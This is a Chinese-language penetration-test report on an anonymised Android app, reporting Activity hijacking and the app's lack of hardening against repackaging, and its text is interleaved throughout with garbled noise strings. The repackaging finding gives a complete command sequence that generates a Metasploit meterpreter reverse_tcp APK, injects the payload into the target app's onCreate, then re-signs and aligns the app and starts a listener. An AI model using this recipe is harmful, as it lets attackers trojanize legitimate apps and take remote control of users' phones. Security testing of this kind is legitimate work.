原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

4 P: b" T3 C. R4 `: Q' f) O5 N& Z% i( r ) l- Z. ?5 c# }0 F) {9 r

9 _. U: l- W& j* f, H" K$ M, z

2 w$ O8 E' [0 g. E9 \ ^7 e1 D! ?3 J1 P( T

2 \, i+ I0 N4 a5 Y- `, Z8 g i

) x5 s6 S* {0 Z* V0 M$ T8 M3 I8 { 文档编号：                1 m- I& v8 ?3 U " p/ d& y0 M! Y2 Q0 B) \5 y X+ c

6 H, D+ c* H6 C# E1 v- R - l; I0 ^3 A+ j% A   & `( l5 Z& _; j- T

- J3 m8 y# @$ y5 c 3 [/ y5 v9 s# n9 t

7 e; \/ Y; n/ j5 _2 p1 o0 K 0 q# M5 q% I K1 V& c, p3 y4 X  

4 ~, m, Y- Q2 ] E# p7 X   ' R& S5 d5 l. d8 r

9 w" i" T/ D. |; e7 {, D3 C7 K5 D: Z

k4 t7 s+ D$ S$ h" ]1 l  

 

) n) R" {, r1 R8 h; e3 X A. a 某某某APP渗透测试 - a, r6 w) {& t1 Y& @

" x- j+ H+ W0 n; S, ^9 U! n . a) Y+ z& y6 s, X   * m6 }* g9 q2 p x) m8 e

+ B- f$ X: d3 B: c

  / g% F9 @. I" d! P

1 Y' h* S& }( a( E 1 G5 }# ?5 t1 N+ ~

6 m" r+ x. Y; @( ~) L   6 u2 I" L' M) w+ M; m' I8 _

' r6 t" x$ R" I 4 ~- d4 z, M: k. V+ P- \

9 @, L; a3 j( ?3 H7 x $ p* k+ y5 ?3 p7 ~. Y$ o) C$ n   / `- W9 N1 G. J5 I/ y" g% L

3 _; A; _# ~5 m. {# l

0 p8 g) X4 P+ e; i$ x. N4 Q & H" B8 B) w6 ? s+ @2 ~1 d/ b 技 术 报 告 3 [ Q- n" J7 O/ e: G7 Q/ r6 Y ' w) j" s) T3 r% k( T _/ f

  % o* y) O% l2 c4 t2 t

% A. c% P3 `0 k5 K   : y6 t; M/ I8 U: p$ Z8 S4 Y

4 }* `/ ~ X8 _7 Z 2 l0 q2 | X5 n0 J3 r" J2 J

[1 U* n$ U, S# d% B% h   : c9 {! S* p/ G$ ^9 N( D8 X

! f1 s4 @6 p0 J% _2 _) r$ {4 V   $ a* p& P$ v7 \* N0 o- @ 6 \$ X4 W! H9 G; y( Y

+ V Y$ u$ r2 G / _* r5 n0 ?9 l6 t: ^1 A* z8 r

% k5 m, w, B4 p+ O& }& Q3 M 0 M5 [3 s5 C$ |* i& z1 C; N! x4 _3 X   5 Z N, u" C) D5 e9 Y/ @

* i! V/ U8 d- P

$ u2 ~+ ~2 P5 b* n $ R( i b- t* y2 s9 E) ~   . r: ]' K$ E6 C2 s3 t 2 G P8 K% @: h. Q9 [% Y4 t( [

* S: I0 q2 ^4 e! h# g; C* U ' v& R) V' Z7 {' i  

: z0 ^ |; [' t* Q7 X. x

4 E- U0 |, J8 h( _8 V' k8 c. v( A1 A 9 v2 e, t: A' d2 Z1 J9 y1 s  

; M! F0 g M/ ^% H   , L- Q% o% x: P `7 M

( a6 N V6 j' }2 b5 D) r! B

% x4 L1 T( q1 ?0 {+ f: q3 q8 g   $ \. t+ g6 g' H; V3 K& T

" i" I7 S7 e# L: L& N r, s  

7 ]1 D4 D: K, X5 Z 3 K' v8 L9 j( o: v4 |9 F

 

 

  5 v2 J5 h( W. o, ~ l

5 B0 P% j4 E) D

: ~! R y( t6 V& H   5 _/ b$ ^2 K+ d) ]' }8 L 1 `0 o X1 s1 n# r# ]- X; Z% H

' J, g) a% d# T& I# y7 u  

( \# Z# G( Z7 [ ; G% _ X& V8 c6 _) y7 u H/ G   % n4 H4 D. M, |7 c J

; Z) r# Z. I: o) U2 h ( U& j$ y l& y( F8 v

  R) H, b6 D3 x) U4 ^2 S

& { Z9 @: j: Y* c$ P' G+ T2 s 5 h8 M* B! M# q7 v ?

二〇二〇年

% f! Q8 Z- }, j& L

, D' \% b( m/ z6 j) D. _ 3 d! \. f% f, } h! P9 h" i" D) D 2 {3 A8 W$ e) m

{6 j5 [: R& A4 f6 \

' u0 \3 t6 d; f , k0 x/ ~% s0 A l 目 录 4 W. P/ U8 |8 S2 T* _ ' `5 E/ w* p# q; F

) a$ N6 e( P9 q" U, v ; Q6 q: u2 W9 `' S% r3 }( v: `# Y

  + z7 e5 t- S1 z' e n$ k0 n

% _$ F! v' i3 Z6 D 9 E0 A/ L* R V3 a( l1 P4 f, m

+ }3 }1 n* v5 l4 l( i" j7 l; G. | 1 概述... 3 * R$ [) c, G4 E8 r, f+ D , S& H. ]2 J- U3 \( y: D$ p! X

' z4 b: w7 [# b/ ~3 Z

6 q3 X2 N8 q5 `# @' v 1.2测试时间... 3 , g0 H7 o' m% ?: v0 A

' L+ x o+ N) `- @ 1.3测试对象... 3 4 k" g# k' e/ A# `' l

" ^6 r: R* j/ Z6 ?% V+ K3 `: Q

1.4测试结果... 3 & ]( k0 h( q& |& ` r0 _, _5 r6 ~3 U 8 G% C" A/ {' w1 _: S

) P& P1 q: k, C9 S' H 2 检测结果... 4 $ z$ |" H9 w, [% b

- h: l- D$ z& z/ n" J ! W3 f% p' @7 |* A

2.1 某某某... 4 : m. d! O. k* S/ w1 R8 a7 {

+ D$ G+ M8 I* \9 q$ y% }

& O H! N6 ~; q6 Q+ X 2.1.1检测目标... 4

- H3 }: p% Q, z: U/ U+ ~. L 2.1.2检测结果... 4 # n# Z+ {4 i+ b/ u8 l ( c" p( J( X8 p! q" |, l

. |& |$ `0 c/ x8 [' t ) |6 j- V& l+ e5 C- [8 g

) |0 u) h6 e5 G% q ; i. Z: x2 c1 N9 U- v0 N 2.1.2.1. 4 : ~- U$ z+ V, I/ {: L9 T; f' g 2 Y4 k8 h, j, P8 |( R" S) D/ D7 b

* l: W* u2 k9 a) e7 l# O2 ~0 \+ _ * b; Y$ l, C( C; F+ m

2.1.2.2. 6 % h' R8 R+ i/ R1 G8 [9 \2 A

2 ^4 t) @; a3 @/ E- f

8 r5 B* a3 W+ Z% a1 ] 7 G3 N I4 g. `) ]& t5 O # |; T+ D* G/ `1 m. s0 L- C 1 o0 Z1 o( |! _- E @" v9 Y0 H

\( w1 _' d& t) @ 0 J+ X8 }# d6 j# H) F . ^* d5 N" ?5 M0 @. D9 |6 x+ K

+ e% A7 h2 u: m y0 r" \* O ( `6 H, w1 N5 Y/ q" b4 h6 x7 a , ]5 `5 x s1 w' o ! z a1 b& r+ ], F6 W+ n

8 A# U" M- P- G 1 概述 8 M6 K% }4 g ?) w/ {! ]) N

, T, n* X' w7 h, _- H9 G/ p2 C 3 L) S+ R( r, L* R/ c2 |3 o" u

) R! S% v6 N' Y/ u 1.2测试时间

9 _5 D- P+ C* D8 ~0 T' o* z3 R0 R+ B* ]9 {7 P3 _! M. d" E. v5 U: K1 s$ [0 `% S3 q& o6 V0 G7 x" o6 t/ D# X+ w' Q1 q6 B1 d; h8 w/ T+ z5 b" g. b; ]4 l3 u) E6 k% b k( d9 q( h* q& T& P; k, G( |( v! ]6 y& T" K6 `6 k# w4 r+ u6 ]" ^& @, s! s3 ]$ Z& y6 p* p8 [: ]: p u- a9 \, k, N8 ^. \& k+ E3 b/ c! i( c- S% X( V' ~+ i7 K* N E& Z6 R l3 k# z+ y* b. a; b8 ] y4 G) ]& e

/ v6 S8 O ~7 T" _/ f ! s: T$ D* x* X+ H' x $ ?8 l( L* x) A5 Q5 L ' Y) o; X* a1 G4 M3 j# z( b. e* c 渗透测试时间 7 I3 i5 X9 l/ M& A6 B 1 R! d% m& O" O& N5 Q# C- n - D+ ^' Q9 r% a8 [: [/ |3 N, ]
r1 [8 ~( a: y; f1 w $ }5 b: x7 S6 ~( p; [; W % j( r0 t4 h' @3 Q4 h & n. i, R7 n2 E2 _- p 起始时间 + {1 w( }6 q: c* @ # Y: L0 o; V1 W' p/ c- Y2 h9 o8 L ' |4 Z9 ?7 O# z) n- Z1 k	. a6 g2 g7 e5 m2 f* n 2020年4月6日 4 g* Z4 ?' `. d5 E0 b , J7 R: o H' T L) ] , V7 ~$ z/ P9 `# v! G7 ?
' |( q1 y$ {# d( z8 Z 5 ^% t& d2 H' g& k4 h 结束时间 3 c- e; B" ~3 B% v* g1 X6 m	' v% q7 |3 v: B, [# V9 z ( B0 g* F/ R. G R5 Z; A/ e) u- C 5 f$ f; s5 J$ z7 j 2020年4月9日 " T' T- l C% ?( c& X 9 ~0 K4 P" g. r, \% n

% ~+ G6 S' m- }0 T) d$ a

1 Q7 ]% O" A! i3 C3 @# M 1.3测试对象

6 E5 b% N; c- t3 B 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示：

N$ |% j" b& d; a( C. h2 Q: R# X

表1-1 检测对象 " o) N' [, J0 j# Q+ ~5 W

& v" F' q# U, F: k- m$ d: E % W' v1 B9 p* ]# V: _7 k; ]2 b* n6 t9 | ?, Z+ T$ f1 a: q, [/ v& T/ ~4 X: h2 m3 n7 S9 P$ g4 Z9 Y* J' B7 t3 S1 F+ s. o2 P7 z: P, |) s6 x$ P; R% ]2 P# r" q" u$ n) T& d- t: g ~$ [9 W5 ~& K* S9 l5 }$ Z8 R8 M, R( P( h" Z1 K$ k B0 Y% W. ]1 y2 m7 l+ x4 r3 B5 u, t" A$ l1 x& C) v6 S8 S9 ?$ b5 w# {0 D/ V0 r0 ]9 D2 c! | d( W

3 A) l) `7 B) Y " u1 `; L2 F4 m, t; a 序号 ( r1 h, S( I/ { U0 f2 s/ S, g 6 b8 ^) ~5 i) Q8 C0 ^8 n; R3 y 3 {- m4 g b1 U) ^	' F3 X3 S4 T" y& w1 m ; Z9 [) g) d9 v/ H1 w" c4 ? 测试对象 / e0 g8 g. y& p/ ~2 o 5 y5 ?7 C& L- h. n+ c9 Y/ {	3 e5 T0 p# s% a E & o; ?/ ?9 f: B# U 测试地址 , x: d% q# W" G/ m$ Y& ]% E 6 L# l2 y& A" C	# m7 c" E- F- i1 C# g w/ B* M, ]2 }- h 安全漏洞 ; z; L( G% K* y' R( ` % K# x7 ]0 u+ V" c5 r: h$ g
+ U& o% e) o3 x W) I6 X! b - B5 o! Q& N/ K* q 3 X/ K4 O1 C7 F1 R8 j" X / D d M. |7 u1 D! B2 q 1 5 |+ n! N7 y) V' ?7 T & M: t. ^( b, r* V# Z$ S6 O	1 i+ p/ A/ l, \: f6 N 某某某安卓APP * a3 t1 M# v0 r6 k1 J- W" f' j / P: f2 W9 T, T: D4 r7 [9 E% D. }! c	, ]# u" I& p$ W, S1 X8 x; o 4 j1 l/ C" y5 e. `3 A- x 1 g" L- ^" y, G+ E   " o/ f) s9 e. S" U( f# {8 | 4 [6 u; U2 B0 i7 ?: ?- z& r5 E% Q	% g0 p9 m5 n. B+ B 2 ' E H# l! o* Q3 Z$ Q2 d ) `0 E) m: V1 O6 T) ~; O: X # _6 D0 Q0 ~5 {5 P( P6 y/ K$ p% u& a% x7 H

0 r N) k+ r. k6 {3 I' j, b, } 1.4测试结果 d5 W# }( Q$ [ ?

0 l1 K! f) J+ \7 S 1 H6 H3 @$ H. |& ^$ d 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： % z! m! w+ M5 J6 U5 }5 c

8 ~5 I$ T) @, l$ L+ G 1 S( T- ?5 f# Y7 b

  * {& k6 V ]5 ~( z# Z' i

3 h$ Q* R, n# p% Q1 @ + [! q; @1 L: p- F

- e/ \$ j" K7 J0 T, K ' G' A' X3 B9 W% G, w- \2 O, @( l+ o! [# q }; W9 K D- N" k/ Z. x+ C( [* b, T# m! L2 d1 t8 E2 {. a8 o! {; d1 p5 s! D+ f$ J) O: F- l8 W0 G. ]* l$ J2 _' z% T1 V# m! D4 o6 {7 u) l+ {9 ^$ p; _+ P5 g& m6 t* J- a% I2 x) M1 k9 J6 @. ]2 ^) k+ S# Z; O: G9 W$ u" ^, H0 h. f. t: i5 U6 e# N! B n3 } F5 G e5 d9 }. O8 v( X. I$ v; p' o7 X d0 w' E( n# j( |' W; A1 v3 V( M. H1 x" t! e5 B5 U" `/ I+ ?- @: a7 s; u0 S z8 d/ ?# W5 `8 e7 d9 J8 [+ Q* E; k% K5 y* A! C" u5 T& N- p6 ^8 h: f4 [- k* P% S6 {% W- i. |9 C; S' x& Q3 \/ h: W5 [* \2 W2 p, Q6 {3 L. k @( c6 D7 h* w: B4 W i2 |7 d: V; m0 y' ?4 F8 y

; E' u2 k2 O* S" k* s; ]& _$ D / C% h4 K+ V) x1 I 序号 2 Z/ O6 v3 _0 s* [0 w3 P ! Z8 B1 r1 W* g( v W& U2 l/ d1 y: A6 l	/ O) [, _! e- N9 }) b$ z Q 系统名称 $ C& P: z- [/ x1 I ! y; q6 M& v9 [' v	2 t; y& Y! Y9 F& [ 漏洞名称 6 L N) l+ b+ r/ P# [8 |# [9 d- d ! C: t5 }( h* I, L+ ?	r* I2 A/ N$ X' s 漏洞危害 # x+ m5 Q3 s) f" C $ n" [0 E. Q) h7 S3 q	* M5 ~/ P8 k9 } - e) t& \- K* C/ R1 y) `! X 修复结果 * M- L/ U g& t/ B 3 ~ K. Q* f+ e' w& w. C& Q; S+ F G# _. v4 O# R, E
% c7 v" D3 D# L2 O- }1 r' I ; E! D4 F% J6 Q6 [5 C 1 " P& i0 A% ^* e " L- ?: _. J. g* P1 @, B	8 K5 c2 L" t/ C8 f+ k- I 某某某某某某APP % P; a# X& ^1 f	1 ^% I" b* q- ^6 R f$ `- r Activity 劫持 2 f2 m8 Z7 m: Y6 R/ S2 ` 5 j3 @ P; l0 I5 Q& \5 z+ n, r0 m: ?   - H1 y/ A, |/ ?$ e7 V7 { $ I4 F5 R8 U/ R8 a# O	2 V* @: ^: R) j2 i7 A * x) I2 l4 R; M* }; u- R ' L+ I, g4 k6 r5 w6 E( g& b 高	- L9 j/ v" a! M   0 k. ~! G- e5 I) c r' j3 @5 t! b: p' _% T 6 A2 I) \" T' D9 i* s7 P
9 A/ q7 H6 s! [& m 2	3 b4 l6 Q6 f4 p) A/ `- c1 f; {0 p 4 D. ]8 n: f) u9 }- D 某某某某某某APP 1 O" M8 D7 }! G- u9 } ; w$ {* p% M( U" V* L	; Q* C- e/ z5 w5 ]' u" r 6 U! G$ u/ V6 X) ^+ Q: u/ y! h 反编译二次打包捆绑木马、篡改APP代码 ' [9 I& z* h, j% H ' ]* f3 M( ^- T, s # F% z |$ H$ E% D/ D2 g8 V	, K' c5 t6 @" \, ^* C8 c 高 4 j! Y- F3 ^ c" y 1 K$ i" a" r3 P* e ; c; f& I: ^! [7 m7 y	& V( |! V! X, \8 ~6 P+ B / y6 V5 q: L3 A/ g% V( w" _8 S % a" r4 y( S% m

5 f7 e* Z! q, x r* W/ ^. ^% N

) G& w! R$ R, g

; P7 z! Q# o2 P% ], K   * n$ |* u6 f( K. f4 D 2 W: t& O5 ]- e- h1 Q

: X5 ~ W/ O* q" p8 \ 1 z* {4 V* z4 j7 c8 N# u8 `

, i8 c( y: R: o 表1-2 测试结果 ; ~6 u4 S! _; G2 N }' {/ q # a, ^; }; T9 t8 z; H E; @! }

  - n9 V% I+ M; V! w2 _

! E4 f! H0 L( z3 v$ [; e# }: K( w# N

$ ~' t1 `2 ?" C7 U6 W2 X % v, _, [' \+ P- H7 [ 2 检测结果                    ; [8 k5 l9 a @3 r$ {8 }3 p2 \

7 v( L' J+ Y! J% ? _* c

" x* Q; i2 @$ q5 t+ Q6 ^( h ! `# y* A$ E, G7 a- v. h8 A 2.1 某某某 # S. }; M% V# l9 s $ I* D0 p# O {& X, W

, c6 `$ R/ [! m) w7 Q& z

) Z/ O$ e' \" J8 V3 [* O , K5 I) z, y7 p( { 2.1.1检测目标 8 [; v- S) ~5 X% Z1 J" N& Y ( \3 s( G" [! n7 d9 ~' |+ i: t! f' F

- c( A2 W! g1 |" I! l- r 1 C7 ^3 |: ` o+ O9 s/ P

目标地址： 某某某某某某APP % j/ O5 o% _* e. `, ~* V3 S3 Y

# s+ B/ c8 V: z8 u

2.1.2检测结果 ' U$ E4 r' S. ?# E5 o' m ! I3 M+ s1 N }2 a/ @7 t

) X C6 }6 E1 l f V

2 l' Y8 e9 r; ?2 j " ]; B2 f) d! f ? 2.1.2.1 : ~3 i: ^& S, f , }' c0 h4 ]8 H& d

9 n3 v! Y8 t+ V; F" u 漏洞链接地址：某某某某某某APP ) l& t3 t+ O/ n& M+ L/ `. ~ 7 g2 L; V* \# v: P' J' K' Y5 w6 D

7 K6 W5 X7 O0 D0 E0 g, L I# F   3 C" \' \2 A! r& D0 S

& b4 `2 l( h* B; p+ o' ]' S1 m

, O! Y/ |7 j0 j4 b 漏洞分析及取证：

* h; J) s. B7 f; _+ |' m ; e1 s6 [; H( e/ T: Y

                 通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： & @9 Z5 r& V# \- G

w( r+ k) t R5 Y: @) W

     6 S: Y0 M3 j- x. q% j

! \: G4 y" a! l9 b* ^# g                       1 d1 Q. @" p% f4 r: b3 R " U* O1 [; i7 ]; ~

s$ }5 ?: J. h . I; A/ g/ F$ S6 d% t! r( P" _1 j

- g( h* c4 x8 K6 s* | ' @7 }( x( t' }1 I

8 |+ y, ~5 \5 E; J6 ~7 @: e/ g6 f 5 W; H$ |& q- W

( z: M% y* k9 |1 W! P+ n# [0 ]

7 z) [3 X( W0 z. q# w* S' ^

( r5 Q& ~& O" o8 z) i" H+ H7 x' e

6 ?! n; p2 { b( ^' S% ~: [0 T 漏洞危害：高 / v& s0 j( m. r ( v. K0 k0 V. x

+ C+ K. A: Z9 `: Q( L& {; S' d$ X5 i$ I t: R+ `5 A0 w6 G" S0 D+ d. m3 F" w% W, v' p# K+ l, P. D1 o* B; {; d: p$ [( @- K6 \; X0 R0 g9 x1 ?9 A8 P# @; \' \$ ?/ ~: h8 J3 d/ n: f# B8 C# J* |4 |' y$ c% R6 ]$ O9 w) {3 G. S7 z* ]4 y* l2 Z9 H" i: n+ a0 b2 E4 Z+ i% I l! b+ j( y1 b7 P+ Y. ^- b& h/ r) j0 K! |8 G2 C. l2 M5 W. e4 l7 O# a# R: Q S, P: `" E( d- |' w! Q, m3 E5 j7 E$ z9 w

' }, j( Y7 y9 F+ A' o; f " k% x$ j( h+ Q! \1 ]- _+ A; B+ ^ 严重程度 ; C; W$ H5 g) |, t8 I . I# Q" B; E( ?8 {4 w. z \- }( e 8 P- l3 _+ a( B( \, W. R3 N	# A2 P4 v7 T! S+ t2 ^! } D 高 9 X$ ]# f" \6 V* u6 o) f . s" e- p0 h, h' t	, O- [# D" _# v- t ' U, ?- G- [3 ^6 o2 @ ■ $ T2 J7 N6 n5 P0 v7 i9 @' s, v4 @ Q ! M* h& @+ a* S$ d3 p 0 D2 v; c2 x* Y	! d L) H1 l2 D% |! S 0 ] i R. y: W7 G3 Z 中 ) x9 r# T( h- B) E& _+ K , j) Z2 w o8 I$ J	8 n( {% x$ J! ]5 Y" k3 q 3 \" V" ~6 d& I% v , R/ d; z* I& I& M2 F% s3 F   # x) k: L, A) t6 h	! w8 U% r" [1 z. b " `4 e( `' a% z8 Q 低 9 W) }" K* Q2 \6 q4 |' G7 q	$ t8 J' ^) W0 ?( I4 X' o   : Q8 a8 V$ x E6 ]3 i0 _ 7 ?: z, Q3 v' k Q & i7 [) N, I' S2 f# m, Y

$ n8 d( ]0 f! ]9 {& \

" E& M. T v/ a5 H: q % p- _ M! W0 X! _) B% Y

- e5 C+ l/ L$ @9 U6 H! U   0 w2 c B7 ^+ n& k& b$ x' H

- v6 t8 T3 Q6 u/ ?+ @6 i * ~/ `% N5 G1 h 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 ( N1 d3 C7 z( T7 r8 S% e

# }: u9 N5 K7 X           ! P4 d. L( e7 G5 \

! q, n, S+ }! Z: d1 F! ^

  % d! V' m9 w- c- X9 S. m! Y2 q 3 k6 B7 o. `" u6 V5 ?

4 X" m5 z* J9 b, H0 P9 }+ h" N: g * }* \+ J; b" `; f

& Q7 U, Y( J8 ~8 r i 2.1.2.2 , g# i6 h2 M* f/ I) z5 j

3 j$ A9 v! T6 }6 j; R 漏洞链接地址：某某某某某某APP : b9 U, ~& S/ t8 |

/ [- Y }) O6 `1 z+ U 3 O0 D r3 l! V/ J

* ~2 J" d) h! d, S 漏洞分析及取证： Z1 N( F. O0 a! Y

7 F: i) K M3 H# r1 V/ o , R; k: o) f2 ~1 E9 f; d

2 v1 P- }. r! e9 j3 }' f                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： 2 R* ?+ {5 q8 N. a

; N1 o$ S4 } Z( @7 g1 K% l

用Metasploit 生成木马 apk 7 \3 x) c0 G3 i% M+ I) X - X: l- D3 O/ E; w# K& T8 E0 L

- x# _4 _' _- u& {7 J) O, X # b" {' {: a# E3 I3 {% t

* K Z6 @8 g2 n% ]3 y5 _ k msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk

8 X+ t) B8 ?2 \( T! A - d& M0 P) H+ {. r- a

) e2 S! C1 t! J# y7 _ % h+ s* D7 y" X0 `& B- E 反编译目标apk和木马apk 3 t( m) x. Q5 ?8 D# F7 V5 V

* d3 b1 l( R% ]2 Y* T8 Z * |/ a& ]' {- q; g( i; N u

- F( i. U4 W9 l$ m apktool d target.apk
2 O9 s- W0 m5 }0 o1 L apktool d cockhorse.apk : V, @1 z$ `2 R' H ; t* Q+ O( `* t B0 _* E$ g

1 ~3 j) D8 B/ Z5 Q & `9 L1 Z+ w& m! S7 o

% G! f, ?0 T: f& ?. w; p5 M $ q/ A0 V5 m$ J/ r% w% g 木马 apk 注入目标 apk - A/ H: ^# [5 z. p; B( v % a# @# U! o4 ^+ \. s H) m* n

4 H# d. M* A* f6 ^6 P7 ~" k+ w 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
- A* q% z* }0 I, z invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V + F* e; @% n) {5 q1 o: ?& g2 } 6 E6 P5 o7 B# e) L, a

& T9 C% H0 g" y1 `3 t) Q 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 1 B) a) Q# R1 D+ C

6 u$ t- F$ o4 u+ `& d+ k

; E V/ L: B/ I* }8 @" Q% J 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 1 | h5 P" [; x& x# l' h8 P2 l

. e* [2 }3 Y5 e! c

`3 [' B7 V1 [. M: P; M 回编译生成最终 apk 7 x# I$ I; u0 D i

" l0 O; I) T5 t. j

7 L$ a& z( q" T( B" U 重新打包 - e, [# k3 K6 G% D- U; Z0 P. E8 w

4 V- b; C1 d5 H1 u1 z

+ U6 h; S- A1 r; D+ P# z/ x1 U9 x apktool b -o repackage.apk target_app_floder

+ D/ k% q! T1 V( w

/ d& r C9 q t/ ^0 h' \ & Z" N: k% a9 `+ K. j4 M' m0 P2 } 创建签名文件，有的话可忽略此步骤 7 ]- F: o- f- W/ R: I& f Y5 x

0 ^+ u3 |; E9 X" i+ l

keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                0 u" A' ^$ c3 v4 K ( Q9 ?9 ?# _) L" u

0 D+ E) {# H5 \# K

( q) q/ [) k1 x; M& `! Q 签名，以下任选其一

% z1 _; {% N, G6 J. x1 k+ `6 I

; n# c2 h: V5 [) v+ B3 @8 A * i+ Q( g8 r1 A4 @% |- s! e$ L jarsigner 方式 5 J) {+ J' P! c6 j# M

( R J( z3 j) R; y2 h3 Q

jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname / b5 i$ H+ E+ q* s- G1 S. F, F3 n4 q

% g% T# H1 h9 P$ Q) J9 `4 W5 K 8 F- _! C; j5 b: A5 m' ^& B ]

apksigner 方式

9 w/ N6 ]$ r# @. ?& D$ O+ E9 }% }) A

0 i! R! Q3 Y# g+ I9 }2 R3 t apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk

& C A1 A. B' A3 @ f; W9 v8 N4 |

, K' t; f! u9 E/ n2 |8 H# B ) d* F7 {* p& l$ y2 ? 如需要禁用 v2签名 添加选项--v2-signing-enabled false

验证，以下任选其一 . }: d1 w; Y2 r, h

8 ^9 Z! ~9 [- ~3 l& \6 s

jarsigner方式 @/ c! u* s. S# u8 d& V 8 t% ^4 ^0 J: t8 k& f

R+ L; F) B" B/ l5 V' W4 o jarsigner -verify repackaged.apk

apksigner 方式 ) O m) C" Y2 Z) b/ u) L

3 B6 E/ O8 O( x! P0 J

# Q# a8 w( A7 ~6 r0 t$ n }) \% n8 V# z, E/ g" t6 {2 q/ B apksigner verify -v --print-certs repackaged.apk 8 T }; i* }+ y) ?% a2 T

/ O- A5 d$ }7 U* ~; z& Y

keytool方式 - r/ y; y0 J" T, K6 u) D

! v. h S* @7 |" C

& \: U/ { J6 i) k/ b keytool -printcert -jarfile repackaged.apk

$ x. ?; B; s) G6 o7 [

8 F( X# ^* n' W4 D* D1 a0 |/ t ' `& V0 j3 J5 m i( T* c7 ^ 对齐 - B! ~, `) r- `9 T( `

/ {" h. y+ m2 B6 q' t2 ?9 ^

% b: B' K9 y) _' [' K) x 字节对齐优化 : Y7 P2 A( Z1 |

9 X d3 I- w- v% A% Y zipalign -v 4 repackaged.apk final.apk + ~/ q# \3 V5 X( k

+ q$ Z' W, Q- {; N5 u- m7 t J

# f. _1 `4 l ~; U O' b ; w1 U# l0 }; b. |) d; K 检查是否对齐 6 ^: E. L! f* a) ]$ f8 ^

/ Y w9 L& X+ y2 l3 e% I

- l8 a7 L/ }* A- ]) M % X; D; q7 _8 C; O zipalign -c -v 4 final.apk - E1 ]$ H( C) z4 ?( F6 d0 [ # O, q: p$ t8 ^( j

5 I4 f& w" t$ y( M : }; y) M( v, }9 s# E2 D

2 m9 \$ V/ B6 I1 [* d* n 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 - n$ `1 o/ h P( o4 e$ L. F: ` ' W. m; c4 z) G) a; J2 F9 O

0 c( D) s5 ]/ a- V, q# v 启动Metasploit控制台，配置参数等待上线 # t" N; p4 w7 L8 ^' _. P+ f

; u+ D. `6 s* M1 I5 F

; ^! k& L W/ J 在终端依次输入如下命令 $ t: v+ p5 V- x) p6 R

3 y/ {2 n$ y Y

! L8 |" h5 w, W6 y! R3 x' P+ z; N msfconsole

) T: @/ p c g3 |- _/ e

: @6 P! r; \ t- A: |4 y use exploit/multi/handler

1 V' L9 c. a) {8 g l( S 3 O# k+ F$ J7 c

# d3 P1 `8 |1 D+ N; a- H$ m & U4 ~9 K: r6 G( g3 g9 t' b: } set PAYLOAD android/meterpreter/reverse_tcp % O/ |/ p2 V4 z( w ! V P! W. {1 F: y! @! \& T, @

$ i' a1 F4 T$ J# _3 e

5 m+ C" J0 d$ L5 L1 S : h$ U/ G5 ~" D) Q" V. F; J set LHOST 192.xxx.xx.xx

4 f; a G3 ^1 h; r* |

8 x+ L, z9 Q0 X# o5 A1 k set LPORT 4444 @1 e* @0 ^7 p! ~/ I 9 B3 m1 j4 J; h% u8 Q

& l$ e9 Q( Y: E1 H& s+ X# L ; J6 \ z# L3 I, T' z: ~; u

/ I+ h# H8 r, I( ]( b # @; _: @7 u9 w# W exploit 4 j& c; q6 \/ O / o" o( s9 c* V- V0 {* f

3 o# c' m; J n7 H3 P; L

: S: z, m8 A5 w! L4 h- M: T7 n 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               3 Z) i% c3 `2 c6 W0 }

/ b& l( U) M% [ `; E% e% m6 R6 f0 Y 9 Y: C; ^: \# q1 p" u9 I* }( h' E

漏洞危害：中 4 k+ ?2 ]$ L- w8 I5 t

5 S3 J) x( k* x3 l) e! N, i

: {" e- T0 Z+ ~$ ~" a3 a ) h6 f4 ^' u6 D. } X; R* C/ u& X7 x# b; B! s ( v+ Y% T5 p* B F6 n3 \% ~. ^* m* F. o3 b" J- t) w. o i" {0 v7 k0 h6 [( _3 i5 X7 u8 L( J3 `: Q( ~) d% d9 }/ d' k7 `1 D8 W9 s3 ~, F+ D- C7 U5 |: _% M* v' t' F$ X/ s1 V% `" x9 |1 s1 e) X5 e+ b4 r' N, N& R4 B3 p" {3 m9 l* J4 `+ s" e- I/ w c4 {2 ]( M" {* b1 e" U1 d! P/ f* E9 U0 ~- t0 u8 {2 Q# |0 P

